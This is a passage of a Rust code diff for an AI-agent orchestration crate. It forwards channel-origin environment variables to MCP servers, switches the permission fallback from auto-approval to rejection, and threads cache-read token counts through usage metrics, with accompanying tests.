+    let origin = match (channel_id, channel_type) {
+        (Some(channel_id), Some("stream")) => Some(EnvVar {
+            name: "BUZZ_GIT_ORIGIN_CHANNEL_ID".into(),
+            value: channel_id.to_string(),
+        }),
+        (Some(_), _) => agent_name
+            .filter(|name| !name.trim().is_empty())
+            .map(|name| EnvVar {
+                name: "BUZZ_GIT_ORIGIN_AGENT_NAME".into(),
+                value: name.trim().to_string(),
+            }),
+        (None, _) => None,
+    };
+    if let Some(origin) = origin {
+        for server in &mut servers {
+            server.env.push(origin.clone());
+        }
+    }
+    servers
+}
+
 /// Send the appropriate ACP model-switch request with a timeout.
 ///
 /// On timeout or error, logs a warning and returns — the caller proceeds
@@ -1351,11 +1414,7 @@ async fn apply_model_switch(
     Ok(())
 }
 
-/// Set the session permission mode via `session/set_config_option`.
-///
-/// Non-fatal for most errors: logs and proceeds. The agent falls back
-/// to its default permission mode (`"default"`), which still works via
-/// Check if the agent's `session/new` response advertises a given mode ID
+/// Check whether the agent's `session/new` response advertises a given mode ID
 /// in `result.modes.availableModes[].id`. Returns `false` if the modes
 /// field is absent or the mode isn't listed.
 fn agent_supports_mode(session_new_result: &serde_json::Value, mode_wire: &str) -> bool {
@@ -1371,7 +1430,11 @@ fn agent_supports_mode(session_new_result: &serde_json::Value, mode_wire: &str)
         .unwrap_or(false)
 }
 
-/// per-tool auto-approval in `handle_permission_request`.
+/// Set the session permission mode via `session/set_config_option`.
+///
+/// Non-fatal for most errors: logs and proceeds. The agent falls back to its
+/// default mode, and any interactive permission request is rejected by
+/// `handle_permission_request`.
 ///
 /// **Fatal exception:** if the agent process exits (e.g., goose crashes on
 /// unrecognized methods), returns `Err(AgentExited)` so the caller can respawn.
@@ -1411,7 +1474,7 @@ async fn apply_permission_mode(
         Ok(Err(e)) => {
             tracing::warn!(
                 target: "pool::permission",
-                "failed to set permission mode {wire:?}: {e} — falling back to per-tool auto-approval"
+                "failed to set permission mode {wire:?}: {e} — falling back to per-tool rejection"
             );
         }
         Err(_) => {
@@ -1777,14 +1840,15 @@ pub async fn run_prompt_task(
     // Channel name for the session title, from the same single resolve the
     // canvas DM check uses — see `resolve_new_session_channel_context`.
     let mut title_channel: Option<String> = None;
+    let mut origin_channel_type: Option<String> = None;
     if let PromptSource::Channel(cid) = &source {
         let is_new_channel_session = !agent.state.sessions.contains_key(cid);
         let needs_canvas = is_new_channel_session && !agent.state.canvas_sections.contains_key(cid);
-        let needs_title = is_new_channel_session && ctx.session_title.is_some();
-        if needs_canvas || needs_title {
-            let (is_dm, resolved_channel) =
+        if is_new_channel_session {
+            let (is_dm, resolved_channel, resolved_channel_type) =
                 resolve_new_session_channel_context(&ctx.channel_info, *cid).await;
             title_channel = resolved_channel;
+            origin_channel_type = resolved_channel_type;
             // A confirmed DM never receives a canvas section; an undeterminable
             // channel type fails closed as a DM for the same reason.
             if needs_canvas && !is_dm {
@@ -1859,9 +1923,13 @@ pub async fn run_prompt_task(
                         create_session_and_apply_model(
                             &mut agent,
                             &ctx,
-                            agent_core.as_deref(),
-                            agent_canvas.as_deref(),
-                            title_channel.as_deref(),
+                            SessionSeed {
+                                agent_core: agent_core.as_deref(),
+                                agent_canvas: agent_canvas.as_deref(),
+                                channel_name: title_channel.as_deref(),
+                                channel_id: Some(*cid),
+                                channel_type: origin_channel_type.as_deref(),
+                            },
                             browser_servers,
                         )
                         .await
@@ -1913,8 +1981,13 @@ pub async fn run_prompt_task(
             if let Some(sid) = &agent.state.heartbeat_session {
                 (sid.clone(), false)
             } else {
-                match create_session_and_apply_model(&mut agent, &ctx, None, None, None, vec![])
-                    .await
+                match create_session_and_apply_model(
+                    &mut agent,
+                    &ctx,
+                    SessionSeed::default(),
+                    vec![],
+                )
+                .await
                 {
                     Ok(sid) => {
                         tracing::info!(
@@ -3942,7 +4015,11 @@ pub(crate) fn build_turn_metric_counts(
             // from input+output.
             total_tokens: usage.turn_total_tokens,
             cost_usd: usage.turn_cost_usd,
-            cache_read_tokens: None,
+            // Field-local: present when the cumulative counter was monotonic
+            // across this turn. Zero means no cache hits this turn (not absent).
+            cache_read_tokens: usage.turn_cache_read_tokens,
+            // buzz-agent does not emit a cache-write count on the wire today;
+            // leave None rather than deriving it from other fields.
             cache_write_tokens: None,
         })
     } else {
@@ -3960,7 +4037,13 @@ pub(crate) fn build_turn_metric_counts(
         // one. Never derived from input+output (NIP-AM MUST NOT).
         total_tokens: usage.cumulative_total_tokens,
         cost_usd: usage.cumulative_cost_usd,
-        cache_read_tokens: None,
+        // Session-cumulative cache-read tokens; None when the harness never
+        // reported this field (e.g. goose or older buzz-agent sessions).
+        // Passes through directly — do not wrap in Some() as the field already
+        // carries provenance (None vs Some(0) are distinct meanings).
+        cache_read_tokens: usage.cumulative_cache_read_tokens,
+        // buzz-agent does not emit a cache-write count on the wire today;
+        // leave None rather than deriving it from other fields.
         cache_write_tokens: None,
     });
     (turn_counts, cumulative_counts)
@@ -4283,6 +4366,50 @@ mod tests {
     use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp};
     use serde_json::json;
 
+    fn test_mcp_server() -> McpServer {
+        McpServer {
+            name: "dev".into(),
+            command: "buzz-dev-mcp".into(),
+            args: vec![],
+            env: vec![],
+        }
+    }
+
+    #[test]
+    fn public_session_forwards_channel_origin_to_mcp() {
+        let channel_id = Uuid::new_v4();
+        let servers = mcp_servers_with_git_origin(
+            &[test_mcp_server()],
+            Some(channel_id),
+            Some("stream"),
+            None,
+        );
+        assert!(servers[0].env.iter().any(|entry| {
+            entry.name == "BUZZ_GIT_ORIGIN_CHANNEL_ID" && entry.value == channel_id.to_string()
+        }));
+        assert!(!servers[0]
+            .env
+            .iter()
+            .any(|entry| entry.name == "BUZZ_GIT_ORIGIN_AGENT_NAME"));
+    }
+
+    #[test]
+    fn private_session_forwards_agent_name_without_channel_id() {
+        let servers = mcp_servers_with_git_origin(
+            &[test_mcp_server()],
+            Some(Uuid::new_v4()),
+            Some("dm"),
+            Some("Builder"),
+        );
+        assert!(servers[0].env.iter().any(|entry| {
+            entry.name == "BUZZ_GIT_ORIGIN_AGENT_NAME" && entry.value == "Builder"
+        }));
+        assert!(!servers[0]
+            .env
+            .iter()
+            .any(|entry| entry.name == "BUZZ_GIT_ORIGIN_CHANNEL_ID"));
+    }
+
     // These pin the initial_message dispatch path (run_prompt_task, ~line 855):
     // a legacy agent WITH a base_prompt must get [Base] prepended to the user
     // message. This is the exact regression that shipped in the round-2 bug.
@@ -4311,18 +4438,48 @@ mod tests {
         assert!(has_system_prompt_support(2, "goose", Some(true)));
         assert!(has_system_prompt_support(1, "goose", Some(true)));
         assert!(has_system_prompt_support(2, "buzz-agent", None));
+        // Goose never receives system prompt via session/new (uses post-hoc method).
         assert_eq!(
-            session_new_system_prompt(true, 2, Some("instructions")),
+            session_new_system_prompt(true, 2, "goose", Some("instructions")),
             None
         );
+        // Protocol-v2 non-goose gets Field transport.
         assert_eq!(
-            session_new_system_prompt(false, 2, Some("instructions")),
-            Some("instructions")
+            session_new_system_prompt(false, 2, "buzz-agent", Some("instructions")),
+            Some(SystemPromptTransport::Field("instructions"))
         );
+        // Protocol-v1 non-goose, non-claude gets None (legacy user-message framing).
         assert_eq!(
-            session_new_system_prompt(false, 1, Some("instructions")),
+            session_new_system_prompt(false, 1, "codex", Some("instructions")),
             None
         );
+        // claude-agent-acp gets ClaudeMeta transport regardless of protocol version.
+        assert_eq!(
+            session_new_system_prompt(false, 1, CLAUDE_AGENT_ACP_NAME, Some("instructions")),
+            Some(SystemPromptTransport::ClaudeMeta("instructions"))
+        );
+        assert_eq!(
+            session_new_system_prompt(true, 1, CLAUDE_AGENT_ACP_NAME, Some("instructions")),
+            None,
+            "goose path must never produce a transport even when agent_name matches"
+        );
+    }
+
+    #[test]
+    fn claude_agent_acp_has_system_prompt_support_regardless_of_protocol_version() {
+        // claude-agent-acp declares protocolVersion:1 but supports _meta.systemPrompt;
+        // has_system_prompt_support must return true so user-message framing is suppressed.
+        assert!(has_system_prompt_support(1, CLAUDE_AGENT_ACP_NAME, None));
+        assert!(has_system_prompt_support(2, CLAUDE_AGENT_ACP_NAME, None));
+    }
+
+    #[test]
+    fn old_zed_adapter_name_falls_through_to_protocol_version_gate() {
+        // The renamed @zed-industries package predates the _meta.systemPrompt support,
+        // so it must not be treated as capable and stays on legacy user-message framing.
+        let old_name = "@zed-industries/claude-code-acp";
+        assert!(!has_system_prompt_support(1, old_name, None));
+        assert!(has_system_prompt_support(2, old_name, None));
     }
 
     #[test]
@@ -6532,10 +6689,12 @@ mod tests {
             turn_output_tokens: Some(50),
             turn_total_tokens: None,
             turn_cost_usd: None,
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 100,
             cumulative_output_tokens: 50,
             cumulative_total_tokens: None,
             cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None,
             model: None,
         };
         // owner_pubkey = None → early return, no panic.
@@ -6566,10 +6725,12 @@ mod tests {
             turn_output_tokens: Some(80),
             turn_total_tokens: None,
             turn_cost_usd: Some(0.001),
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 200,
             cumulative_output_tokens: 80,
             cumulative_total_tokens: None,
             cumulative_cost_usd: Some(0.001),
+            cumulative_cache_read_tokens: None,
             model: None,
         };
         // Will try to publish and fail (no real relay) but must not panic.
@@ -6601,10 +6762,12 @@ mod tests {
             turn_output_tokens: Some(20),
             turn_total_tokens: None,
             turn_cost_usd: None,
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 150,
             cumulative_output_tokens: 70,
             cumulative_total_tokens: None,
             cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None,
             model: None,
         };
         // Must not panic; HTTP submit will fail (no real relay) — that's fine.
@@ -6636,10 +6799,12 @@ mod tests {
             turn_output_tokens: None,
             turn_total_tokens: None,
             turn_cost_usd: None,
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 400,
             cumulative_output_tokens: 100,
             cumulative_total_tokens: None,
             cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None,
             model: None,
         };
         // Will try to publish (encrypt succeeds) and fail HTTP (no relay) — must not panic.
@@ -6668,10 +6833,12 @@ mod tests {
             turn_output_tokens: Some(30),
             turn_total_tokens: Some(130), // genuine per-turn total
             turn_cost_usd: None,
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 500,
             cumulative_output_tokens: 120,
             cumulative_total_tokens: Some(620), // genuine cumulative total
             cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None,
             model: None,
         };
 
@@ -6715,10 +6882,12 @@ mod tests {
             turn_output_tokens: Some(60),
             turn_total_tokens: None, // provider did not supply a total
             turn_cost_usd: None,
+            turn_cache_read_tokens: None,
             cumulative_input_tokens: 200,
             cumulative_output_tokens: 60,
             cumulative_total_tokens: None, // session has no total
             cumulative_cost_usd: None,
+            cumulative_cache_read_tokens: None,
             model: None,
         };
 
@@ -6758,6 +6927,96 @@ mod tests {
         );
     }
 
+    /// A payload with nonzero `accumulatedCachedInputTokens` on the second turn
+    /// must produce a kind:44200 payload where `cumulative.cacheReadTokens` is
+    /// nonzero and `turn.cacheReadTokens` reflects the per-turn delta.
+    /// This is the acceptance-criterion test: it proves the threading is live,
+    /// not hardcoded to None.
+    #[test]
+    fn test_build_turn_metric_counts_cache_read_tokens_thread_through() {
+        // Wire-parse a buzz-agent payload with cache, run it through the tracker,
+        // and verify the published TokenCounts carry the cache field.
+        let raw1 = serde_json::json!({
+            "sessionId": "cache-sess",
+            "update": {
+                "sessionUpdate": "usage_update",
+                "accumulatedInputTokens": 15_091,
+                "accumulatedOutputTokens": 156,
+                "accumulatedCachedInputTokens": 5_033,
+            }
+        });
+        let raw2 = serde_json::json!({
+            "sessionId": "cache-sess",
+            "update": {
+                "sessionUpdate": "usage_update",
+                "accumulatedInputTokens": 28_500,
+                "accumulatedOutputTokens": 310,
+                "accumulatedCachedInputTokens": 11_000,
+            }
+        });
+
+        let mut tracker = crate::usage::UsageTracker::default();
+
+        // Turn 1 — establish baseline (delta unreliable, but cumulative still present).
+        tracker.begin_turn("cache-sess");
+        if let crate::usage::GooseSessionUpdateVariant::UsageUpdate(p) =
+            serde_json::from_value::<crate::usage::GooseSessionUpdateNotification>(raw1)
+                .unwrap()
+                .update
+        {
+            tracker.record("cache-sess", &p);
+        }
+        let t1 = tracker.take().expect("turn 1");
+
+        // Turn 1: cumulative must carry the cache count; turn delta is None (no baseline).
+        let (turn1, cum1) = crate::pool::build_turn_metric_counts(&t1);
+        // delta_reliable = false on first turn → no turn counts.
+        assert!(turn1.is_none(), "first turn: no reliable turn counts");
+        let cum1 = cum1.expect("cumulative always present");
+        assert_eq!(
+            cum1.cache_read_tokens,
+            Some(5_033),
+            "cumulative.cacheReadTokens must be 5033 after turn 1"
+        );
+
+        // Turn 2 — delta reliable.
+        tracker.begin_turn("cache-sess");
+        if let crate::usage::GooseSessionUpdateVariant::UsageUpdate(p) =
+            serde_json::from_value::<crate::usage::GooseSessionUpdateNotification>(raw2)
+                .unwrap()
+                .update
+        {
+            tracker.record("cache-sess", &p);
+        }
+        let t2 = tracker.take().expect("turn 2");
+
+        let (turn2, cum2) = crate::pool::build_turn_metric_counts(&t2);
+
+        let turn2 = turn2.expect("reliable turn counts on turn 2");
+        // Per-turn cache delta: 11_000 - 5_033 = 5_967.
+        assert_eq!(
+            turn2.cache_read_tokens,
+            Some(5_967),
+            "turn.cacheReadTokens must be the per-turn delta"
+        );
+        // cache_write_tokens is always None — buzz-agent doesn't emit it.
+        assert!(
+            turn2.cache_write_tokens.is_none(),
+            "cache_write_tokens must be None — not emitted by buzz-agent"
+        );
+
+        let cum2 = cum2.expect("cumulative always present");
+        assert_eq!(
+            cum2.cache_read_tokens,
+            Some(11_000),
+            "cumulative.cacheReadTokens must be 11_000 after turn 2"
+        );
+        assert!(
+            cum2.cache_write_tokens.is_none(),
+            "cache_write_tokens must be None on cumulative too"
+        );
+    }
+
     fn make_prompt_context_no_owner() -> PromptContext {
         let agent_keys = nostr::Keys::generate();
         make_prompt_context_impl(&agent_keys, None)
@@ -7188,12 +7447,14 @@ mod tests {
         let response = channel_metadata_response(id, &[["name", "buzz-dev"], ["t", "stream"]]);
         let (resolver, requests, server) = counting_resolver(response).await;
 
-        let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await;
+        let (is_dm, title_channel, channel_type) =
+            resolve_new_session_channel_context(&resolver, id).await;
         assert!(!is_dm, "a stream channel is not a DM");
         assert_eq!(title_channel.as_deref(), Some("buzz-dev"));
+        assert_eq!(channel_type.as_deref(), Some("stream"));
         assert_eq!(requests.load(Ordering::SeqCst), 1);
 
-        let (_, again) = resolve_new_session_channel_context(&resolver, id).await;
+        let (_, again, _) = resolve_new_session_channel_context(&resolver, id).await;
         assert_eq!(again.as_deref(), Some("buzz-dev"));
         assert_eq!(
             requests.load(Ordering::SeqCst),
@@ -7211,8 +7472,10 @@ mod tests {
         let response = channel_metadata_response(id, &[["name", "DM"], ["t", "dm"]]);
         let (resolver, _requests, server) = counting_resolver(response).await;
 
-        let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await;
+        let (is_dm, title_channel, channel_type) =
+            resolve_new_session_channel_context(&resolver, id).await;
         assert!(is_dm);
+        assert_eq!(channel_type.as_deref(), Some("dm"));
         assert_eq!(
             title_channel, None,
             "a DM name must never reach the session title"
@@ -7229,7 +7492,7 @@ mod tests {
         let response = channel_metadata_response(id, &[["t", "stream"]]);
         let (resolver, _requests, server) = counting_resolver(response).await;
 
-        let (is_dm, title_channel) = resolve_new_session_channel_context(&resolver, id).await;
+        let (is_dm, title_channel, _) = resolve_new_session_channel_context(&resolver, id).await;
         assert!(!is_dm, "a nameless stream channel is still not a DM");
         assert_eq!(
             title_channel, None,
@@ -7249,10 +7512,11 @@ mod tests {
 
         let (resolver, requests, server) = counting_resolver(json!([])).await;
 
-        let (is_dm, title_channel) =
+        let (is_dm, title_channel, channel_type) =
             resolve_new_session_channel_context(&resolver, Uuid::new_v4()).await;
         assert!(is_dm, "an undeterminable channel type must fail closed");
         assert_eq!(title_channel, None, "unresolved channels get a bare title");
+        assert_eq!(channel_type, None);
         assert_eq!(
             requests.load(Ordering::SeqCst),
             2,
diff --git a/crates/buzz-acp/src/queue.rs b/crates/buzz-acp/src/queue.rs
index 1914fba045..3dd6f67076 100644
--- a/crates/buzz-acp/src/queue.rs
+++ b/crates/buzz-acp/src/queue.rs
@@ -646,6 +646,11 @@ impl EventQueue {
         self.in_flight_channels.contains(&channel_id)
     }
 
+    /// Whether any channel currently has a turn in flight.
+    pub fn has_in_flight(&self) -> bool {
+        !self.in_flight_channels.is_empty()
+    }
+
     // ── Goose-native steer withhold (side table) ──────────────────────────
     //
     // While a goose-native `_goose/unstable/session/steer` write is in flight
diff --git a/crates/buzz-acp/src/relay.rs b/crates/buzz-acp/src/relay.rs
index aea5cee077..2cbb82411f 100644
--- a/crates/buzz-acp/src/relay.rs
+++ b/crates/buzz-acp/src/relay.rs
@@ -106,9 +106,12 @@ const REQ_PACING_INTERVAL: Duration = Duration::from_millis(125);
 /// blocked for more than one REQ's worth of I/O between drain ticks.
 const DRAIN_BUDGET_PER_ITER: usize = 1;
 /// Maximum observer telemetry frames parked while the rate-limit gate is armed
-/// (or the socket is down). The upstream pacer feeds at most ~6 frames/s, so
-/// this covers ~40 s of gating; beyond that the oldest frames are dropped with
-/// visible accounting (`gated_observer_dropped`).
+/// (or the socket is down). The upstream publisher ships at most ONE batched
+/// frame per second GLOBALLY (one publish slot per tick, regardless of how
+/// many channels are active), so this covers ~4 minutes of gating; beyond that
+/// the oldest frames are dropped with visible accounting
+/// (`gated_observer_dropped`). Note each dropped frame may carry a whole batch
+/// of events, so event-level loss is larger than the frame count.
 const GATED_OBSERVER_QUEUE_CAP: usize = 256;
 
 use std::time::Instant;
diff --git a/crates/buzz-acp/src/usage.rs b/crates/buzz-acp/src/usage.rs
index 1629eee935..56b772d12c 100644
--- a/crates/buzz-acp/src/usage.rs
+++ b/crates/buzz-acp/src/usage.rs
@@ -85,12 +85,16 @@ pub(crate) struct UsageUpdatePayload {
     pub context_limit: u64,
     pub accumulated_input_tokens: u64,
     pub accumulated_output_tokens: u64,
-    /// The cache-served subset of `accumulated_input_tokens`. Optional — goose
-    /// does not send it, and buzz-agent only reports a non-zero value when the
-    /// provider returned a cache split, so `0` legitimately means either "no
-    /// cache hits" or "provider reported none".
-    #[serde(default)]
-    pub accumulated_cached_input_tokens: u64,
+    /// The cache-served subset of `accumulated_input_tokens`.
+    ///
+    /// `None` when the harness did not include the field (e.g. goose, which
+    /// never emits it). `Some(0)` when the harness explicitly reported zero
+    /// cache hits. The distinction matters: `None` means "we don't know",
+    /// while `Some(0)` means "provider confirmed no cache was used".
+    ///
+    /// Do NOT use `#[serde(default)]` here — that would collapse the absent
+    /// case into `Some(0)` and destroy provenance in the append-only archive.
+    pub accumulated_cached_input_tokens: Option<u64>,
     pub accumulated_cost: Option<f64>,
     /// Session-cumulative genuine provider total tokens. Optional — only
     /// emitted by buzz-agent when every turn in the session so far supplied a
@@ -125,6 +129,12 @@ struct SessionState {
     /// `None` when the session has never emitted a provider total (Unseen) or
     /// when any prior turn lacked one (poisoned).
     last_total: Option<u64>,
+    /// Cumulative cache-read input tokens at the end of the LAST PUBLISHED turn.
+    /// `None` when the harness has never reported this field (e.g. goose).
+    /// `Some(n)` when at least one payload included the field. Field-local:
+    /// a decrease in this counter taints only the cache-read delta, not
+    /// `delta_reliable` or the input/output deltas.
+    last_cached_input: Option<u64>,
 }
 
 /// Per-turn usage record exposed to `TurnCompletionGuard` for NIP-AM publishing.
@@ -151,6 +161,12 @@ pub struct TurnUsage {
     /// Per-turn cost delta (`current − previous`); `None` when unreliable or
     /// either snapshot is missing.
     pub turn_cost_usd: Option<f64>,
+    /// Per-turn cache-read token delta (`current − previous`); `None` when no
+    /// baseline exists, either snapshot is `None` (harness did not report it),
+    /// or the cumulative counter decreased (field-local taint). Field-local:
+    /// a decrease here never flips `delta_reliable` or invalidates the
+    /// input/output deltas.
+    pub turn_cache_read_tokens: Option<u64>,
     /// Session-cumulative input tokens as reported by goose at end of turn.
     pub cumulative_input_tokens: u64,
     /// Session-cumulative output tokens as reported by goose at end of turn.
@@ -160,6 +176,11 @@ pub struct TurnUsage {
     pub cumulative_total_tokens: Option<u64>,
     /// Session-cumulative estimated cost in USD; `None` if goose did not report it.
     pub cumulative_cost_usd: Option<f64>,
+    /// Session-cumulative cache-read input tokens as reported by buzz-agent.
+    /// `None` when the harness has never reported this field (e.g. goose or
+    /// any harness that omits `accumulatedCachedInputTokens`).
+    /// `Some(0)` when the harness reported zero cache hits.
+    pub cumulative_cache_read_tokens: Option<u64>,
     /// Effective model id for this turn (maps to NIP-AM `model`). `None` if the
     /// harness did not include the model in its usage notification.
     pub model: Option<String>,
@@ -239,6 +260,7 @@ impl UsageTracker {
         let current_output = payload.accumulated_output_tokens;
         let current_cost = payload.accumulated_cost;
         let current_total = payload.accumulated_total_tokens;
+        let current_cached_input = payload.accumulated_cached_input_tokens;
 
         // Determine whether this session is currently in-flight so we know
         // whether to set `pending`. We compute the delta regardless so that
@@ -294,6 +316,21 @@ impl UsageTracker {
             None => None, // no baseline yet
         };
 
+        // Cache-read token delta: field-local — never affects `delta_reliable`
+        // or the input/output deltas. Null when: no baseline exists, either
+        // snapshot is None (harness did not report the field), or the cumulative
+        // counter decreased (harness restart, overflow).
+        // Some(0) is a valid result when both snapshots are Some(0) — it means
+        // the harness confirmed zero cache hits this turn, not that data is absent.
+        let turn_cache_read = match self.sessions.get(session_id) {
+            Some(prev) => match (current_cached_input, prev.last_cached_input) {
+                (Some(cur), Some(p)) if cur >= p => Some(cur - p),
+                (Some(_), Some(_)) => None, // decrease → field-local taint
+                _ => None,                  // either snapshot absent → no delta
+            },
+            None => None, // no baseline yet
+        };
+
         if is_in_flight {
             // In-flight-match: update pending with the latest cumulative values.
             // Baseline is NOT advanced here — it advances only on take().
@@ -305,10 +342,12 @@ impl UsageTracker {
                 turn_output_tokens: turn_output,
                 turn_total_tokens: turn_total,
                 turn_cost_usd: turn_cost,
+                turn_cache_read_tokens: turn_cache_read,
                 cumulative_input_tokens: current_input,
                 cumulative_output_tokens: current_output,
                 cumulative_total_tokens: current_total,
                 cumulative_cost_usd: current_cost,
+                cumulative_cache_read_tokens: current_cached_input,
                 model: payload.model.clone(),
             });
         } else if self.in_flight_session.is_none() {
@@ -327,6 +366,7 @@ impl UsageTracker {
                     last_output: current_output,
                     last_cost: current_cost,
                     last_total: current_total,
+                    last_cached_input: current_cached_input,
                 },
             );
         }
@@ -355,6 +395,7 @@ impl UsageTracker {
                 last_output: record.cumulative_output_tokens,
                 last_cost: record.cumulative_cost_usd,
                 last_total: record.cumulative_total_tokens,
+                last_cached_input: record.cumulative_cache_read_tokens,
             },
         );
         Some(record)
@@ -366,9 +407,9 @@ mod tests {
     use super::*;
 
     /// The camelCase key buzz-agent actually puts on the wire must land on the
-    /// field. A rename mismatch here would deserialize to the serde default of
-    /// 0, and every trial would price as if nothing had ever been cached — the
-    /// exact silent failure this field was added to remove.
+    /// field. A rename mismatch here would deserialize to None, and every trial
+    /// would be treated as "not reported" — the exact silent failure this field
+    /// was added to remove.
     #[test]
     fn cached_input_tokens_deserialize_from_the_wire_key() {
         let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({
@@ -379,13 +420,14 @@ mod tests {
             "accumulatedCachedInputTokens": 5_033,
         }))
         .expect("payload must deserialize");
-        assert_eq!(p.accumulated_cached_input_tokens, 5_033);
-        assert!(p.accumulated_cached_input_tokens <= p.accumulated_input_tokens);
+        assert_eq!(p.accumulated_cached_input_tokens, Some(5_033));
+        assert!(p.accumulated_cached_input_tokens.unwrap() <= p.accumulated_input_tokens);
     }
 
-    /// goose does not send the field; its payloads must still deserialize.
+    /// goose does not send the field; its payloads must deserialize with None —
+    /// not zero — so that "not reported" is preserved distinct from "reported zero".
     #[test]
-    fn a_payload_without_the_cache_field_defaults_to_zero() {
+    fn a_payload_without_the_cache_field_deserializes_as_none() {
         let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({
             "used": 500,
             "contextLimit": 200_000,
@@ -393,7 +435,28 @@ mod tests {
             "accumulatedOutputTokens": 100,
         }))
         .expect("payload must deserialize without the cache field");
-        assert_eq!(p.accumulated_cached_input_tokens, 0);
+        assert!(
+            p.accumulated_cached_input_tokens.is_none(),
+            "absent field must be None, not Some(0)"
+        );
+    }
+
+    /// A harness that explicitly reports zero cache hits must produce Some(0),
+    /// not None — so downstream analytics can distinguish "confirmed zero" from
+    /// "not reported".
+    #[test]
+    fn a_payload_with_explicit_zero_cache_field_deserializes_as_some_zero() {
+        let p: UsageUpdatePayload = serde_json::from_value(serde_json::json!({
+            "accumulatedInputTokens": 400,
+            "accumulatedOutputTokens": 100,
+            "accumulatedCachedInputTokens": 0,
+        }))
+        .expect("payload must deserialize with zero cache field");
+        assert_eq!(
+            p.accumulated_cached_input_tokens,
+            Some(0),
+            "explicit zero must be Some(0), not None"
+        );
     }
 
     fn payload(input: u64, output: u64, cost: Option<f64>) -> UsageUpdatePayload {
@@ -402,7 +465,7 @@ mod tests {
             context_limit: 200_000,
             accumulated_input_tokens: input,
             accumulated_output_tokens: output,
-            accumulated_cached_input_tokens: 0,
+            accumulated_cached_input_tokens: None,
             accumulated_cost: cost,
             accumulated_total_tokens: None,
             model: None,
@@ -415,7 +478,7 @@ mod tests {
             context_limit: 0,
             accumulated_input_tokens: input,
             accumulated_output_tokens: output,
-            accumulated_cached_input_tokens: 0,
+            accumulated_cached_input_tokens: None,
             accumulated_cost: cost,
             accumulated_total_tokens: None,
             model: None,
@@ -913,7 +976,7 @@ mod tests {
             context_limit: 200_000,
             accumulated_input_tokens: input,
             accumulated_output_tokens: output,
-            accumulated_cached_input_tokens: 0,
+            accumulated_cached_input_tokens: None,
             accumulated_cost: cost,
             accumulated_total_tokens: None,
             model: model.map(str::to_string),
@@ -977,7 +1040,7 @@ mod tests {
             context_limit: 200_000,
             accumulated_input_tokens: input,
             accumulated_output_tokens: output,
-            accumulated_cached_input_tokens: 0,
+            accumulated_cached_input_tokens: None,
             accumulated_cost: None,
             accumulated_total_tokens: total,
             model: None,
@@ -1132,4 +1195,320 @@ mod tests {
         );
         assert_eq!(usage.cumulative_total_tokens, Some(250));
     }
+
+    // ── cache-read token threading ──────────────────────────────────────────
+
+    fn payload_with_cache(
+        input: u64,
+        output: u64,
+        cached_input: Option<u64>,
+    ) -> UsageUpdatePayload {
+        UsageUpdatePayload {
+            used: input + output,
+            context_limit: 200_000,
+            accumulated_input_tokens: input,
+            accumulated_output_tokens: output,
+            accumulated_cached_input_tokens: cached_input,
+            accumulated_cost: None,
+            accumulated_total_tokens: None,
+            model: None,
+        }
+    }
+
+    #[test]
+    fn cache_read_first_turn_produces_none_turn_delta_and_passes_cumulative_through() {
+        // First turn has no baseline → turn cache delta must be None, but
+        // cumulative_cache_read_tokens must carry the reported value through.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c1");
+        tracker.record("sess-c1", &payload_with_cache(1000, 200, Some(500)));
+        let usage = tracker.take().expect("pending");
+
+        assert!(
+            usage.turn_cache_read_tokens.is_none(),
+            "first turn: no baseline → cache delta must be None"
+        );
+        assert_eq!(
+            usage.cumulative_cache_read_tokens,
+            Some(500),
+            "cumulative cache read passes through on first turn"
+        );
+        assert!(!usage.delta_reliable, "first turn is unreliable");
+    }
+
+    #[test]
+    fn cache_read_second_turn_delta_computed_correctly() {
+        // Second turn: cumulative cached 500 → 1200, delta = 700.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c2");
+        tracker.record("sess-c2", &payload_with_cache(1000, 200, Some(500)));
+        let _ = tracker.take();
+
+        tracker.begin_turn("sess-c2");
+        tracker.record("sess-c2", &payload_with_cache(2000, 350, Some(1200)));
+        let usage = tracker.take().expect("pending");
+
+        assert!(usage.delta_reliable);
+        assert_eq!(
+            usage.turn_cache_read_tokens,
+            Some(700),
+            "cache delta = 1200 - 500 = 700"
+        );
+        assert_eq!(
+            usage.cumulative_cache_read_tokens,
+            Some(1200),
+            "cumulative cache passes through"
+        );
+    }
+
+    #[test]
+    fn cache_read_decrease_nulls_turn_cache_but_leaves_delta_reliable() {
+        // Cache counter decrease → cache delta None (field-local taint), but
+        // delta_reliable and input/output deltas are NOT affected.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c3");
+        tracker.record("sess-c3", &payload_with_cache(1000, 200, Some(800)));
+        let _ = tracker.take();
+
+        tracker.begin_turn("sess-c3");
+        // Cache counter decreased: 800 → 50.
+        tracker.record("sess-c3", &payload_with_cache(1500, 300, Some(50)));
+        let usage = tracker.take().expect("pending");
+
+        assert!(
+            usage.delta_reliable,
+            "cache decrease must NOT flip delta_reliable — field-local"
+        );
+        assert_eq!(
+            usage.turn_input_tokens,
+            Some(500),
+            "input/output delta unaffected by cache decrease"
+        );
+        assert_eq!(usage.turn_output_tokens, Some(100));
+        assert!(
+            usage.turn_cache_read_tokens.is_none(),
+            "cache counter decrease → turn_cache_read_tokens None (field-local taint)"
+        );
+        assert_eq!(
+            usage.cumulative_cache_read_tokens,
+            Some(50),
+            "cumulative still passes through from payload even on decrease"
+        );
+    }
+
+    #[test]
+    fn cache_read_explicit_zero_payload_after_explicit_zero_baseline_produces_some_zero_delta() {
+        // When both baseline and current are Some(0), turn_cache_read_tokens must
+        // be Some(0) — confirmed zero, not absent.
+        let mut tracker = UsageTracker::default();
+        tracker.begin_turn("sess-c4");
+        tracker.record("sess-c4", &payload_with_cache(1000, 200, Some(0)));
+        let _ = tracker.take();
+
